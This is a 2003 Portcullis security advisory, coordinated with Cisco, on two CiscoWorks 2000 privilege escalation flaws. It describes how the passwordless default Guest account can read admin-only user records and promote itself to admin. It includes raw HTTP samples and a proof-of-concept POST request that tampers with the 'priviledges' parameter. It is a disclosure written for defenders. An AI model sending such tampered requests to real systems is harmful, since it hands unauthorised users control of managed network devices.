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Portcullis Security Advisory: CiscoWorks 2000 Privilege Escalatio n Vulnerabilities

Omicronportcullis-security.com
Date: Wed Aug 13 2003 - 09:50:03 CDT


Portcullis Security Advisory

CiscoWorks 2000 Priviledge Escalation Vulnerability

Vulnerability discovery and development:

Omicronportcullis-security.com

Affected systems:

Ciscoworks 2000

Details:

Portcullis have discovered that using the default Guest account
which has no password set, that it is possible to view page information
that the user should not have access to.

Whilst requesting certain pages the raw HTTP shows a statement
of who the logged on user is:

HTTP/1.1 200 OK
Date: Tue, 01 Jul 2003 13:01:12 GMT
Server: Apache/1.3.24 (Unix) mod_perl/1.26
Content-Length: 5
Connection: close
Content-Type: text/html

guest

By replacing guest with admin and using POST to sent on the information,
(for the Modify\delete users page) the system responds with information
on all the users on the site IE:

user1::::7 user2::::2 portcullis:portcullisanywhere.com:::3F admin::::F
guest::admin::0

This allows Guest to then view information restricted to the Admin account
on all users on the system.

Impact:

Users are able to view information restricted to Administrators

Exploit:

As described in Details, edit raw HTML requests and replace user with a
known one of higher privileges.

Vendor Status:

Vendor Confirmed.

Following discussions with the vendor, Portcullis agreed to joint
advisories. The Cisco advisory can be found at the following URL.

http://www.cisco.com/warp/public/707/cisco-sa-20030813-cmf.shtml

Portcullis Security Advisory

CiscoWorks 2000 Privilege Escalation Vulnerability

Vulnerability discovery and development:

Omicronportcullis-security.com

Affected systems:

Ciscoworks 2000

Details:

Portcullis have discovered that using the default Guest account
which has no password set, that it is possible to elevate the Guest
users privileges to the equivalent of Admin. Following this a new user
account can be created with full rights and complete access to the
systems managed by Ciscoworks.

When submitting changes to the user account, the raw HTML shows
the users information in the following string:

cmd=modifyUser&name=guest&pwd=cGFzc3dvcmQ%3D&email=test%0test.com&ccoId=&cco
Pwd=&proxyId=&proxyPwd=&priviledges=0

From information obtained it is possible to change the users privileges from
0 to F where F is the code for Admin rights.

The Guest account can now create a new user with all available security
options.

Impact:

Once access has been achieved, an attacker has complete control over
all Cisco devices managed by Ciscoworks.

Exploit:

The following is provided as proof of concept.

POST /CSCOnm/servlet/com.cisco.nm.cmf.servlet.CsAuthServlet HTTP/1.0
Accept-Language: en
Content-Type: application/x-www-form-urlencoded
Accept: text/html, image/gif, image/jpeg, *; q=.2, */*; q=.2
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Win32)
Host: 10.10.10.1:1741
Content-Length: 114
Proxy-Connection: Keep-Alive
Pragma: no-cache
Cookie: jrunsessionid=1057059156201223367

cmd=modifyUser&name=guest&pwd=&email=&ccoId=&ccoPwd=&proxyId=&proxyPwd=&priv
iledges=0

Vendor Status:

Vendor Confirmed.

Following discussions with the vendor, Portcullis agreed to joint
advisories. The Cisco advisory can be found at the following URL.

http://www.cisco.com/warp/public/707/cisco-sa-20030813-cmf.shtml

Copyright Portcullis Computer Security Limited 2003, All rights reserved
worldwide.

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FOR A MINIMUM OF 14 DAYS PRIOR TO PUBLIC RELEASE.

Permission is hereby granted for the electronic redistribution of this
information. It is not to be edited or altered in any way without the
express written consent of Portcullis Computer Security Limited.

Disclaimer: The information herein contained may change without notice. Use
of this information constitutes acceptance for use in an AS IS condition.
There are NO warranties, implied or otherwise, with regard to this
information or its use. Any use of this information is at the user's risk.
In no event shall the author/distributor (Portcullis Computer Security
Limited) be held liable for any damages whatsoever arising out of or in
connection with the use or spread of this information.

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